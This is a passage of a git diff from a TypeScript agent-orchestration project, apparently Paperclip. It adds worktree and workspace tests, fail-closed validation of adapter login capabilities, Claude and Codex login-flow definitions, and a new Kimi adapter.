+      cleanupWorkspaceInput(workspace, repoRoot, branchTip),
+    );
+
+    expect(cleanup.cleaned).toBe(true);
+    expect(cleanup.warnings).toEqual([]);
+    await expect(fs.stat(workspace.cwd)).rejects.toThrow();
+    expect(await readGit(repoRoot, ["rev-parse", "refs/heads/feature/literal-pin"])).toBe(branchTip);
+  });
+
+  it("restoring a persisted workspace keeps the recorded branch ownership", async () => {
+    const repoRoot = await createTempRepo();
+    await createBranchWithCommit(repoRoot, "feature/persisted-ownership", "persisted-ownership.txt");
+    const first = await realizeExistingBranch(repoRoot, "feature/persisted-ownership");
+
+    const operatorOwned = await restoreExistingBranch(repoRoot, first, { createdByRuntime: false });
+    expect(operatorOwned?.branchCreatedByRuntime).toBe(false);
+
+    const legacyOwned = await restoreExistingBranch(repoRoot, first, { createdByRuntime: true });
+    expect(legacyOwned?.branchCreatedByRuntime).toBe(false);
+
+    const runtimeOwned = await restoreExistingBranch(repoRoot, first, RUNTIME_OWNED_GIT_BRANCH_METADATA);
+    expect(runtimeOwned?.branchCreatedByRuntime).toBe(true);
+  });
+
+  it("fails closed instead of recreating a missing branch from unversioned legacy ownership", async () => {
+    const repoRoot = await createTempRepo();
+    const branchName = "feature/missing-operator-owned";
+    await createBranchWithCommit(repoRoot, branchName, "operator-owned.txt");
+    const first = await realizeExistingBranch(repoRoot, branchName);
+
+    await runGit(repoRoot, ["worktree", "remove", "--force", first.cwd]);
+    await runGit(repoRoot, ["branch", "-D", branchName]);
+
+    await expect(ensurePersistedExecutionWorkspaceAvailable({
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "workspace-1",
+        repoUrl: null,
+        repoRef: "HEAD",
+      },
+      workspace: {
+        mode: "isolated_workspace",
+        strategyType: "git_worktree",
+        cwd: first.cwd,
+        providerRef: first.worktreePath,
+        projectId: "project-1",
+        projectWorkspaceId: "workspace-1",
+        repoUrl: null,
+        baseRef: "HEAD",
+        branchName,
+        metadata: { createdByRuntime: true },
+      },
+      issue: {
+        id: "issue-pr-prep",
+        identifier: "PAP-9004",
+        title: "Restore a missing operator-owned branch",
+      },
+      agent: {
+        id: "agent-1",
+        name: "Codex Coder",
+        companyId: "company-1",
+      },
+    })).rejects.toThrow(`operator-owned branch "${branchName}" no longer exists`);
+
+    await expect(fs.stat(first.cwd)).rejects.toThrow();
+    await expect(readGit(repoRoot, ["rev-parse", "--verify", branchName])).rejects.toThrow();
+  });
+
+  it("fails closed when an existing branch is pinned on a non-worktree strategy", async () => {
+    const repoRoot = await createTempRepo();
+    await createBranchWithCommit(repoRoot, "feature/wrong-mode", "wrong-mode.txt");
+
+    await expect(
+      realizeExistingBranch(repoRoot, "feature/wrong-mode", { type: "project_primary" }),
+    ).rejects.toMatchObject({
+      code: "workspace_validation_failed",
+      resultJson: {
+        workspaceValidation: expect.objectContaining({
+          reason: "existing_branch_requires_git_worktree",
+        }),
+      },
+    });
+  });
+});
diff --git a/server/src/__tests__/worktree-config.test.ts b/server/src/__tests__/worktree-config.test.ts
index 36a859d12b2..56e3063af35 100644
--- a/server/src/__tests__/worktree-config.test.ts
+++ b/server/src/__tests__/worktree-config.test.ts
@@ -444,13 +444,27 @@ describe("worktree config repair", () => {
     const firstConfigPath = path.join(firstWorktreeRoot, ".paperclip", "config.json");
     const secondConfigPath = path.join(secondWorktreeRoot, ".paperclip", "config.json");
 
-    const writeWorktree = async (worktreeRoot: string, name: string) => {
+    const writeWorktree = async (
+      worktreeRoot: string,
+      name: string,
+      databaseMode: "embedded-postgres" | "postgres" = "embedded-postgres",
+    ) => {
       const paperclipDir = path.join(worktreeRoot, ".paperclip");
       const instanceRoot = path.join(isolatedHome, "instances", name.toLowerCase());
+      const config = buildIsolatedConfig(instanceRoot, 45439, 55439);
       await fs.mkdir(paperclipDir, { recursive: true });
       await fs.writeFile(
         path.join(paperclipDir, "config.json"),
-        `${JSON.stringify(buildIsolatedConfig(instanceRoot, 45439, 55439), null, 2)}\n`,
+        `${JSON.stringify({
+          ...config,
+          database: {
+            ...config.database,
+            mode: databaseMode,
+            ...(databaseMode === "postgres"
+              ? { connectionString: "postgres://paperclip:paperclip@127.0.0.1:55439/paperclip" }
+              : {}),
+          },
+        }, null, 2)}\n`,
         "utf8",
       );
       await fs.writeFile(
@@ -480,7 +494,7 @@ describe("worktree config repair", () => {
       delete process.env.DATABASE_URL;
     };
 
-    await writeWorktree(firstWorktreeRoot, "PAP-14013-import-bulk-skills");
+    await writeWorktree(firstWorktreeRoot, "PAP-14013-import-bulk-skills", "postgres");
     await writeWorktree(secondWorktreeRoot, "PAP-14069-port-conflicts");
     const staleLockPath = path.join(isolatedHome, ".worktree-port-reservations.lock");
     await fs.mkdir(staleLockPath, { recursive: true });
diff --git a/server/src/__tests__/worktree-seed-server-spawn.test.ts b/server/src/__tests__/worktree-seed-server-spawn.test.ts
new file mode 100644
index 00000000000..7b94af832c6
--- /dev/null
+++ b/server/src/__tests__/worktree-seed-server-spawn.test.ts
@@ -0,0 +1,229 @@
+import { execFile } from "node:child_process";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { promisify } from "node:util";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  ensureWorktreeSeeded,
+  readWorktreeSeedManifest,
+} from "../../../cli/src/commands/worktree.ts";
+import { realizeExecutionWorkspace } from "../services/workspace-runtime.ts";
+
+const execFileAsync = promisify(execFile);
+const cleanup: string[] = [];
+const originalConfig = process.env.PAPERCLIP_CONFIG;
+const originalWorktreesDir = process.env.PAPERCLIP_WORKTREES_DIR;
+
+async function runGit(cwd: string, args: string[]) {
+  await execFileAsync("git", args, { cwd });
+}
+
+async function writeConfig(configPath: string, instanceId: string) {
+  const instanceRoot = path.dirname(configPath);
+  await fs.mkdir(path.dirname(configPath), { recursive: true });
+  await fs.writeFile(configPath, `${JSON.stringify({
+    $meta: { version: 1, updatedAt: "2026-08-19T00:00:00.000Z", source: "configure" },
+    database: {
+      mode: "embedded-postgres",
+      embeddedPostgresDataDir: path.join(instanceRoot, "db"),
+      embeddedPostgresPort: 54329,
+      backup: { enabled: false, intervalMinutes: 60, retentionDays: 30, dir: path.join(instanceRoot, "backups") },
+    },
+    logging: { mode: "file", logDir: path.join(instanceRoot, "logs") },
+    server: {
+      deploymentMode: "local_trusted",
+      exposure: "private",
+      host: "127.0.0.1",
+      port: 3100,
+      allowedHostnames: [],
+      serveUi: true,
+    },
+  }, null, 2)}\n`, "utf8");
+  await fs.writeFile(
+    path.join(path.dirname(configPath), ".env"),
+    `PAPERCLIP_INSTANCE_ID=${instanceId}\n`,
+    "utf8",
+  );
+}
+
+function verifiedSeedResult() {
+  return {
+    backupSummary: "snapshot.sql",
+    snapshotAt: "2026-08-19T00:00:00.000Z",
+    migrationRevision: "0223_test.sql",
+    pausedScheduledRoutines: 0,
+    executionQuarantine: {
+      disabledTimerHeartbeats: 0,
+      resetRunningAgents: 0,
+      quarantinedInProgressIssues: 0,
+      unassignedTodoIssues: 0,
+      unassignedReviewIssues: 0,
+      stoppedProjectWorkspaceRuntimes: 0,
+      stoppedExecutionWorkspaceRuntimes: 0,
+      stoppedRuntimeServices: 0,
+    },
+    reboundWorkspaces: [],
+    validation: {
+      authUserCount: 1,
+      credentialAccountCount: 1,
+      instanceAdminCount: 1,
+      activeMembershipCount: 1,
+      companyCount: 1,
+      issueCount: 1,
+      representativeCompanyId: "00000000-0000-4000-8000-000000000001",
+      representativeIssueId: "00000000-0000-4000-8000-000000000002",
+      migrationRevision: "0223_test.sql",
+    },
+  };
+}
+
+afterEach(async () => {
+  if (originalConfig === undefined) delete process.env.PAPERCLIP_CONFIG;
+  else process.env.PAPERCLIP_CONFIG = originalConfig;
+  if (originalWorktreesDir === undefined) delete process.env.PAPERCLIP_WORKTREES_DIR;
+  else process.env.PAPERCLIP_WORKTREES_DIR = originalWorktreesDir;
+  for (const dir of cleanup.splice(0)) {
+    await fs.rm(dir, { recursive: true, force: true });
+  }
+});
+
+describe("managed worktree seed source through the server spawn path", () => {
+  it("re-derives an ambient-instance manifest written before provisioning", async () => {
+    const tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-server-seed-source-"));
+    cleanup.push(tempRoot);
+    const repoRoot = path.join(tempRoot, "repo");
+    const hooksDir = path.join(tempRoot, "hooks");
+    const ambientConfigPath = path.join(tempRoot, "ambient", "config.json");
+    const registeredConfigPath = path.join(repoRoot, ".paperclip", "config.json");
+    const worktreeHome = path.join(tempRoot, "worktree-home");
+
+    await fs.mkdir(repoRoot, { recursive: true });
+    await runGit(repoRoot, ["init", "-q"]);
+    await runGit(repoRoot, ["config", "user.email", "paperclip@example.com"]);
+    await runGit(repoRoot, ["config", "user.name", "Paperclip Test"]);
+    await fs.mkdir(path.join(repoRoot, "scripts"), { recursive: true });
+    await fs.writeFile(path.join(repoRoot, "README.md"), "server spawn regression\n", "utf8");
+    await fs.copyFile(
+      fileURLToPath(new URL("../../../scripts/provision-worktree.sh", import.meta.url)),
+      path.join(repoRoot, "scripts", "provision-worktree.sh"),
+    );
+    await fs.chmod(path.join(repoRoot, "scripts", "provision-worktree.sh"), 0o755);
+    await runGit(repoRoot, ["add", "README.md", "scripts/provision-worktree.sh"]);
+    await runGit(repoRoot, ["commit", "-qm", "Add managed provision script"]);
+    await writeConfig(registeredConfigPath, "registered-source");
+    await writeConfig(ambientConfigPath, "ambient-instance");
+    await fs.mkdir(worktreeHome, { recursive: true });
+
+    // Reproduce the integrated lane's ordering with a checkout hook: an earlier
+    // worktree-init-style writer inherits the server environment and leaves a valid
+    // target config whose manifest diagnostic points at the ambient instance.
+    await fs.mkdir(hooksDir, { recursive: true });
+    const hookPath = path.join(hooksDir, "post-checkout");
+    await fs.writeFile(
+      hookPath,
+      `#!/usr/bin/env node
+const crypto = require("node:crypto");
+const fs = require("node:fs");
+const path = require("node:path");
+const cwd = process.cwd();
+if (cwd === ${JSON.stringify(repoRoot)}) process.exit(0);
+const stateDir = path.join(cwd, ".paperclip");
+const normalized = path.basename(cwd).trim().toLowerCase().replace(/[^a-z0-9_-]+/g, "-").replace(/-+/g, "-").replace(/^[-_]+|[-_]+$/g, "");
+const instanceId = \`${"${(normalized || \"worktree\").slice(0, 48)}"}-\${crypto.createHash("sha256").update(path.resolve(cwd)).digest("hex").slice(0, 12)}\`;
+const targetConfigPath = path.join(stateDir, "config.json");
+const instanceRoot = path.join(process.env.PAPERCLIP_WORKTREES_DIR, "instances", instanceId);
+fs.mkdirSync(stateDir, { recursive: true });
+fs.mkdirSync(instanceRoot, { recursive: true });
+fs.writeFileSync(targetConfigPath, JSON.stringify({
+  $meta: { version: 1, updatedAt: "2026-08-19T00:00:00.000Z", source: "configure" },
+  database: {
+    mode: "embedded-postgres",
+    embeddedPostgresDataDir: path.join(instanceRoot, "db"),
+    embeddedPostgresPort: 54330,
+    backup: { enabled: false, intervalMinutes: 60, retentionDays: 30, dir: path.join(instanceRoot, "backups") },
+  },
+  logging: { mode: "file", logDir: path.join(instanceRoot, "logs") },
+  server: {
+    deploymentMode: "local_trusted",
+    exposure: "private",
+    host: "127.0.0.1",
+    port: 3101,
+    allowedHostnames: [],
+    serveUi: true,
+  },
+}, null, 2) + "\\n");
+fs.writeFileSync(path.join(stateDir, ".env"), [
+  "PAPERCLIP_HOME=" + JSON.stringify(process.env.PAPERCLIP_WORKTREES_DIR),
+  "PAPERCLIP_INSTANCE_ID=" + JSON.stringify(instanceId),
+  "PAPERCLIP_CONFIG=" + JSON.stringify(targetConfigPath),
+  "",
+].join("\\n"));
+fs.writeFileSync(path.join(stateDir, "seed-manifest.json"), JSON.stringify({
+  version: 2,
+  source: { instanceId: "ambient-instance", configPath: process.env.PAPERCLIP_CONFIG },
+  snapshotAt: null,
+  seedMode: "minimal",
+  migrationRevision: null,
+  targetInstanceId: instanceId,
+  phase: "pending",
+  state: "pending",
+  attemptId: "ambient-writer",
+  startedAt: null,
+  finishedAt: null,
+  diagnostics: [{ phase: "pending", status: "succeeded", at: new Date().toISOString() }],
+}, null, 2) + "\\n");
+`,
+      "utf8",
+    );
+    await fs.chmod(hookPath, 0o755);
+    await runGit(repoRoot, ["config", "core.hooksPath", hooksDir]);
+
+    process.env.PAPERCLIP_CONFIG = ambientConfigPath;
+    process.env.PAPERCLIP_WORKTREES_DIR = worktreeHome;
+    const workspace = await realizeExecutionWorkspace({
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "project-workspace-1",
+        repoUrl: null,
+        repoRef: "HEAD",
+      },
+      config: {
+        workspaceStrategy: {
+          type: "git_worktree",
+          branchTemplate: "{{issue.identifier}}-{{slug}}",
+          provisionCommand: "bash ./scripts/provision-worktree.sh",
+        },
+      },
+      issue: {
+        id: "issue-1",
+        identifier: "PAP-17681",
+        title: "Recover ambient seed source",
+      },
+      agent: { id: "agent-1", name: "Coder", companyId: "company-1" },
+    });
+
+    expect(readWorktreeSeedManifest(path.join(workspace.cwd, ".paperclip", "config.json"))).toMatchObject({
+      source: { instanceId: "ambient-instance", configPath: ambientConfigPath },
+      state: "pending",
+    });
+
+    await expect(ensureWorktreeSeeded({
+      config: path.join(workspace.cwd, ".paperclip", "config.json"),
+      registeredBaseWorkspaceCwd: repoRoot,
+      registeredProjectWorkspaceId: "project-workspace-1",
+      expectedCompanyId: "company-1",
+    }, {
+      seedDatabase: async () => verifiedSeedResult(),
+    })).resolves.toMatchObject({ seeded: true, reason: "seeded" });
+
+    expect(readWorktreeSeedManifest(path.join(workspace.cwd, ".paperclip", "config.json"))).toMatchObject({
+      source: { instanceId: "registered-source", configPath: registeredConfigPath },
+      state: "verified",
+      phase: "complete",
+    });
+  }, 20_000);
+});
diff --git a/server/src/__tests__/write-build-stamp.test.ts b/server/src/__tests__/write-build-stamp.test.ts
new file mode 100644
index 00000000000..eb7d55e63af
--- /dev/null
+++ b/server/src/__tests__/write-build-stamp.test.ts
@@ -0,0 +1,28 @@
+import { describe, expect, it } from "vitest";
+
+import { resolveBuildCommit } from "../../scripts/write-build-stamp.mjs";
+
+describe("resolveBuildCommit", () => {
+  it("prefers the git commit over the supplied environment commit", () => {
+    expect(resolveBuildCommit("aaaaaaa", "bbbbbbb")).toBe("aaaaaaa");
+  });
+
+  it("falls back to PAPERCLIP_BUILD_COMMIT when git gives no commit", () => {
+    // A Docker image build excludes `.git`, so the git lookup returns null. The
+    // image build passes the commit in the environment instead.
+    expect(resolveBuildCommit(null, "bbbbbbb")).toBe("bbbbbbb");
+  });
+
+  it("trims the supplied commit", () => {
+    expect(resolveBuildCommit(null, "  bbbbbbb\n")).toBe("bbbbbbb");
+  });
+
+  it("returns null when neither git nor the environment gives a commit", () => {
+    expect(resolveBuildCommit(null, undefined)).toBe(null);
+  });
+
+  it("treats an empty supplied commit as absent", () => {
+    expect(resolveBuildCommit(null, "")).toBe(null);
+    expect(resolveBuildCommit(null, "   ")).toBe(null);
+  });
+});
diff --git a/server/src/adapters/builtin-adapter-types.ts b/server/src/adapters/builtin-adapter-types.ts
index 505162f7edd..aaaf28cabde 100644
--- a/server/src/adapters/builtin-adapter-types.ts
+++ b/server/src/adapters/builtin-adapter-types.ts
@@ -11,6 +11,7 @@ export const BUILTIN_ADAPTER_TYPES = new Set([
   "grok_local",
   "hermes_gateway",
   "hermes_local",
+  "kimi_local",
   "openclaw_gateway",
   "opencode_local",
   "pi_local",
diff --git a/server/src/adapters/hermes-gateway-doc.ts b/server/src/adapters/hermes-gateway-doc.ts
index fb32c9d5656..55a5d1413c8 100644
--- a/server/src/adapters/hermes-gateway-doc.ts
+++ b/server/src/adapters/hermes-gateway-doc.ts
@@ -47,7 +47,7 @@ Network examples:
 - Local loopback on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:8642"; agentDefaultsPayload.paperclipApiUrl = "http://127.0.0.1:3100".
 - Local dashboard root or chat URL on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:9119" or "http://127.0.0.1:9119/chat"; Paperclip maps it to "http://127.0.0.1:9119/api".
 - LAN/private network: agentDefaultsPayload.apiBaseUrl = "http://192.168.1.25:8642"; agentDefaultsPayload.paperclipApiUrl = "http://192.168.1.10:3100". Use private IPs or hostnames reachable from both machines.
-- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with pnpm exec paperclipai allowed-hostname <host> when authenticated/private mode requires it.
+- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with npx paperclipai allowed-hostname <host> when authenticated/private mode requires it.
 - Docker: if Hermes runs on the host and Paperclip runs in Docker, use agentDefaultsPayload.apiBaseUrl = "http://host.docker.internal:8642". If Hermes runs in another container, use the Compose service DNS name such as "http://hermes:8642".
 - Reverse proxy/TLS: publish Hermes behind HTTPS and set agentDefaultsPayload.apiBaseUrl = "https://hermes-gateway.example"; set agentDefaultsPayload.paperclipApiUrl = "https://paperclip.example". Keep API_SERVER_KEY required at the origin or proxy.
 
diff --git a/server/src/adapters/plugin-loader.test.ts b/server/src/adapters/plugin-loader.test.ts
new file mode 100644
index 00000000000..f2319131a8f
--- /dev/null
+++ b/server/src/adapters/plugin-loader.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from "vitest";
+import type { AdapterLoginCapability } from "@paperclipai/adapter-utils";
+import { validateAdapterModule } from "./plugin-loader.js";
+
+// A minimal external adapter module. The loader calls `createServerAdapter()`
+// and then validates the returned module. Each test controls the returned
+// `loginCapability` to check the fail-closed rule at load time.
+function makeModule(loginCapability?: unknown) {
+  return {
+    createServerAdapter: () => ({
+      type: "vendor_local",
+      execute: async () => ({}),
+      testEnvironment: async () => ({}),
+      ...(loginCapability === undefined ? {} : { loginCapability }),
+    }),
+  };
+}
+
+const validLoginCapability: AdapterLoginCapability = {
+  panelMode: "displayed_code",
+  sandboxTransport: "streamed_exec",
+  timeoutPolicy: "caller_bounded",
+  getCommand: () => "vendor login",
+  parsePrompt: () => null,
+};
+
+describe("validateAdapterModule login capability", () => {
+  it("loads an adapter with no login capability", () => {
+    expect(() => validateAdapterModule(makeModule(), "vendor-pkg")).not.toThrow();
+  });
+
+  it("loads an adapter with a well-formed login capability", () => {
+    expect(() => validateAdapterModule(makeModule(validLoginCapability), "vendor-pkg")).not.toThrow();
+  });
+
+  it("rejects an adapter with a malformed login capability", () => {
+    const bad = { ...validLoginCapability, panelMode: "hidden_code" };
+    expect(() => validateAdapterModule(makeModule(bad), "vendor-pkg")).toThrow(
+      /invalid login capability/,
+    );
+  });
+
+  it("rejects an adapter with a non-object login capability", () => {
+    expect(() => validateAdapterModule(makeModule("displayed_code"), "vendor-pkg")).toThrow(
+      /invalid login capability/,
+    );
+  });
+});
diff --git a/server/src/adapters/plugin-loader.ts b/server/src/adapters/plugin-loader.ts
index c01fedeac43..236e8ddd50f 100644
--- a/server/src/adapters/plugin-loader.ts
+++ b/server/src/adapters/plugin-loader.ts
@@ -13,6 +13,7 @@ import fs from "node:fs";
 import path from "node:path";
 import { pathToFileURL } from "node:url";
 import type { ServerAdapterModule } from "./types.js";
+import { validateAdapterLoginCapability } from "@paperclipai/adapter-utils";
 import { logger } from "../middleware/logger.js";
 
 import {
@@ -145,7 +146,7 @@ function extractUiParserSource(
 // Load / reload
 // ---------------------------------------------------------------------------
 
-function validateAdapterModule(mod: unknown, packageName: string): ServerAdapterModule {
+export function validateAdapterModule(mod: unknown, packageName: string): ServerAdapterModule {
   const m = mod as Record<string, unknown>;
   const createServerAdapter = m.createServerAdapter;
   if (typeof createServerAdapter !== "function") {
@@ -161,6 +162,19 @@ function validateAdapterModule(mod: unknown, packageName: string): ServerAdapter
       `createServerAdapter() from "${packageName}" returned an invalid module (missing "type").`,
     );
   }
+
+  // Fail closed on a malformed login capability. The validator throws a clear
+  // error, so the loader rejects the adapter instead of loading it with a
+  // partial capability.
+  try {
+    validateAdapterLoginCapability(adapterModule);
+  } catch (err) {
+    throw new Error(
+      `createServerAdapter() from "${packageName}" returned an invalid login capability: ` +
+        `${err instanceof Error ? err.message : String(err)}`,
+    );
+  }
+
   return adapterModule;
 }
 
diff --git a/server/src/adapters/registry.test.ts b/server/src/adapters/registry.test.ts
new file mode 100644
index 00000000000..cb2c2a41c5c
--- /dev/null
+++ b/server/src/adapters/registry.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from "vitest";
+import { assertValidAdapterLoginCapability } from "@paperclipai/adapter-utils";
+import { requireServerAdapter } from "./registry.js";
+
+// The registry registers a login capability for the two built-in interactive
+// adapters. The test checks the scalar values and the presence of the required
+// callbacks. It also runs the shared validator, so the built-in capabilities
+// obey the same fail-closed contract as an external adapter.
+
+describe("built-in adapter login capabilities", () => {
+  it("registers the Codex device-login capability", () => {
+    const capability = requireServerAdapter("codex_local").loginCapability;
+    expect(capability).toBeDefined();
+    if (!capability) return;
+    expect(capability.panelMode).toBe("displayed_code");
+    expect(capability.sandboxTransport).toBe("streamed_exec");
+    expect(capability.timeoutPolicy).toBe("caller_bounded");
+    expect(capability.completionClaim).toBeUndefined();
+    expect(typeof capability.getCommand).toBe("function");
+    expect(typeof capability.parsePrompt).toBe("function");
+    expect(() => assertValidAdapterLoginCapability(capability, "codex_local")).not.toThrow();
+  });
+
+  it("registers the Claude setup-token capability", () => {
+    const capability = requireServerAdapter("claude_local").loginCapability;
+    expect(capability).toBeDefined();
+    if (!capability) return;
+    expect(capability.panelMode).toBe("submitted_browser_code");
+    expect(capability.sandboxTransport).toBe("pseudo_terminal");
+    expect(capability.timeoutPolicy).toBe("fixed");
+    expect(capability.completionClaim).toBe("storedSessionId");
+    expect(typeof capability.getCommand).toBe("function");
+    expect(typeof capability.parsePrompt).toBe("function");
+    expect(typeof capability.captureCredential).toBe("function");
+    expect(() => assertValidAdapterLoginCapability(capability, "claude_local")).not.toThrow();
+  });
+});
diff --git a/server/src/adapters/registry.ts b/server/src/adapters/registry.ts
index 60d84616885..88fccf066da 100644
--- a/server/src/adapters/registry.ts
+++ b/server/src/adapters/registry.ts
@@ -9,6 +9,7 @@ import {
   buildSandboxNpmInstallCommand,
   getAdapterSessionManagement,
 } from "@paperclipai/adapter-utils";
+import type { AdapterLoginCapability } from "@paperclipai/adapter-utils";
 import {
   execute as claudeExecute,
   listClaudeSkills,
@@ -19,6 +20,9 @@ import {
   sessionCodec as claudeSessionCodec,
   getQuotaWindows as claudeGetQuotaWindows,
   getConfigSchema as getClaudeConfigSchema,
+  CLAUDE_SETUP_TOKEN_COMMAND,
+  parseSetupTokenPrompt,
+  parseSetupTokenCredential,
 } from "@paperclipai/adapter-claude-local/server";
 import {
   agentConfigurationDoc as claudeAgentConfigurationDoc,
@@ -33,6 +37,8 @@ import {
   sessionCodec as codexSessionCodec,
   getQuotaWindows as codexGetQuotaWindows,
   getConfigSchema as getCodexConfigSchema,
+  CODEX_DEVICE_LOGIN_COMMAND,
+  parseDeviceLoginPrompt,
 } from "@paperclipai/adapter-codex-local/server";
 import {
   agentConfigurationDoc as codexAgentConfigurationDoc,
@@ -82,6 +88,17 @@ import {
   agentConfigurationDoc as grokAgentConfigurationDoc,
   models as grokModels,
 } from "@paperclipai/adapter-grok-local";
+import {
+  execute as kimiExecute,
+  listKimiSkills,
+  syncKimiSkills,
+  testEnvironment as kimiTestEnvironment,
+  sessionCodec as kimiSessionCodec,
+} from "@paperclipai/adapter-kimi-local/server";
+import {
+  agentConfigurationDoc as kimiAgentConfigurationDoc,
+  models as kimiModels,
+} from "@paperclipai/adapter-kimi-local";
 import {
   createHermesGatewayServerAdapter,
   createHermesLocalServerAdapter,
@@ -181,6 +198,43 @@ The standalone ACPX adapter has been retired. Use:
 Paperclip keeps this tombstone registered so stale acpx_local rows fail clearly instead of falling back to the process adapter.
 `;
 
+// The Claude interactive login capability. Claude runs `claude setup-token` on a
+// real pseudo-terminal. The user pastes a browser code back into the flow. The
+// flow uses a fixed host-side timeout and records a stored session identifier on
+// success. The capability data holds no secret; the callbacks return runtime
+// values only.
+const claudeLoginCapability: AdapterLoginCapability = {
+  panelMode: "submitted_browser_code",
+  sandboxTransport: "pseudo_terminal",
+  timeoutPolicy: "fixed",
+  getCommand: () => CLAUDE_SETUP_TOKEN_COMMAND,
+  parsePrompt: (output) => {
+    const prompt = parseSetupTokenPrompt(output);
+    return prompt ? { url: prompt.url } : null;
+  },
+  captureCredential: (output) => {
+    const token = parseSetupTokenCredential(output);
+    return token === null ? null : Buffer.from(token, "utf8");
+  },
+  completionClaim: "storedSessionId",
+};
+
+// The Codex interactive login capability. Codex runs `codex login --device-auth`
+// over the streamed exec channel. The flow shows a one-time code that the user
+// enters in the browser. The caller sets the host-side timeout. The device-login
+// flow writes its credential inside the sandbox, so the capability declares no
+// terminal credential capture and no completion claim.
+const codexLoginCapability: AdapterLoginCapability = {
+  panelMode: "displayed_code",
+  sandboxTransport: "streamed_exec",
+  timeoutPolicy: "caller_bounded",
+  getCommand: () => CODEX_DEVICE_LOGIN_COMMAND,
+  parsePrompt: (output) => {
+    const prompt = parseDeviceLoginPrompt(output);
+    return prompt ? { url: prompt.url, code: prompt.code } : null;
+  },
+};
+
 const claudeLocalAdapter: ServerAdapterModule = {
   type: "claude_local",
   execute: stampClaudeAgentIdHeader(claudeExecute),
@@ -189,7 +243,7 @@ const claudeLocalAdapter: ServerAdapterModule = {
     agentId: "claude",
     skillsMode: "ephemeral",
     prerequisites: {
-      nodeRange: ">=22.12.0",
+      nodeRange: ">=24.11.0",
       packages: ["@agentclientprotocol/claude-agent-acp"],
     },
   },
@@ -210,6 +264,7 @@ const claudeLocalAdapter: ServerAdapterModule = {
   agentConfigurationDoc: claudeAgentConfigurationDoc,
   getConfigSchema: getClaudeConfigSchema,
   getQuotaWindows: claudeGetQuotaWindows,
+  loginCapability: claudeLoginCapability,
 };
 
 const acpxLocalAdapter: ServerAdapterModule = {
@@ -262,7 +317,7 @@ const codexLocalAdapter: ServerAdapterModule = {
     agentId: "codex",
     skillsMode: "ephemeral",
     prerequisites: {
-      nodeRange: ">=22.13.0",
+      nodeRange: ">=24.11.0",
       packages: ["@agentclientprotocol/codex-acp"],
     },
   },
@@ -282,6 +337,7 @@ const codexLocalAdapter: ServerAdapterModule = {
   agentConfigurationDoc: codexAgentConfigurationDoc,
   getConfigSchema: getCodexConfigSchema,
   getQuotaWindows: codexGetQuotaWindows,
+  loginCapability: codexLoginCapability,
 };
 
 const cursorLocalAdapter: ServerAdapterModule = {
@@ -326,7 +382,7 @@ const geminiLocalAdapter: ServerAdapterModule = {
     agentId: "gemini",
     skillsMode: "ephemeral",
     prerequisites: {
-      nodeRange: ">=20.0.0",
+      nodeRange: ">=24.11.0",
       packages: ["@google/gemini-cli"],
     },
   },
@@ -367,6 +423,32 @@ const grokLocalAdapter: ServerAdapterModule = {
   agentConfigurationDoc: grokAgentConfigurationDoc,
 };
 
+const kimiLocalAdapter: ServerAdapterModule = {
+  type: "kimi_local",
+  execute: kimiExecute,
+  testEnvironment: kimiTestEnvironment,
+  acp: {
+    agentId: "kimi",
+    skillsMode: "ephemeral",
+    prerequisites: {
+      nodeRange: ">=20.0.0",
+      packages: ["@moonshot-ai/kimi-code"],
+    },
+  },
+  listSkills: listKimiSkills,
+  syncSkills: syncKimiSkills,
+  sessionCodec: kimiSessionCodec,
+  sessionManagement: getAdapterSessionManagement("kimi_local") ?? undefined,
+  models: kimiModels,
+  supportsLocalAgentJwt: true,
+  supportsInstructionsBundle: true,
+  instructionsPathKey: "instructionsFilePath",
+  requiresMaterializedRuntimeSkills: true,
+  getRuntimeCommandSpec: (config) =>
+    buildNpmRuntimeCommandSpec(config, "kimi", "@moonshot-ai/kimi-code"),
+  agentConfigurationDoc: kimiAgentConfigurationDoc,
+};
+
 const hermesGatewayAdapter = createHermesGatewayServerAdapter();
 
 const hermesLocalAdapter = createHermesLocalServerAdapter();
@@ -443,6 +525,7 @@ function registerBuiltInAdapters() {
     cursorLocalAdapter,
     geminiLocalAdapter,
     grokLocalAdapter,
+    kimiLocalAdapter,
     hermesGatewayAdapter,
     hermesLocalAdapter,
     openclawGatewayAdapter,
diff --git a/server/src/app.ts b/server/src/app.ts
index e9798f191a1..3731338c656 100644
--- a/server/src/app.ts
+++ b/server/src/app.ts
@@ -1,9 +1,10 @@
 import express, { Router, type Request as ExpressRequest } from "express";
+import { createServer as createHttpServer, type Server as HttpServer } from "node:http";
 import path from "node:path";
 import fs from "node:fs";
 import { fileURLToPath } from "node:url";
 import type { Db } from "@paperclipai/db";
-import type { DeploymentExposure, DeploymentMode } from "@paperclipai/shared";
+import { derivePaperclipViteHmrPort, type DeploymentExposure, type DeploymentMode } from "@paperclipai/shared";
 import type { InspectDatabaseBackupHealthOptions } from "./services/database-backup-health.js";
 import type { StorageService } from "./storage/types.js";
 import { httpLogger, errorHandler } from "./middleware/index.js";
@@ -30,6 +31,15 @@ import { statusCardRoutes } from "./routes/status-cards.js";
 import { teamsCatalogRoutes } from "./routes/teams-catalog.js";
 import { agentRoutes } from "./routes/agents.js";
 import type { SetupTokenSessionService } from "./services/setup-token-session.js";
+import {
+  buildSetupTokenLoginTransport,
+  createProductionSetupTokenSandboxProvider,
+  createProductionSetupTokenCleanupStore,
+  createSetupTokenSecretWriter,
+  createWorkerBoundSetupTokenPtyOpener,
+} from "./services/setup-token-transport-binding.js";
+import { environmentService } from "./services/environments.js";
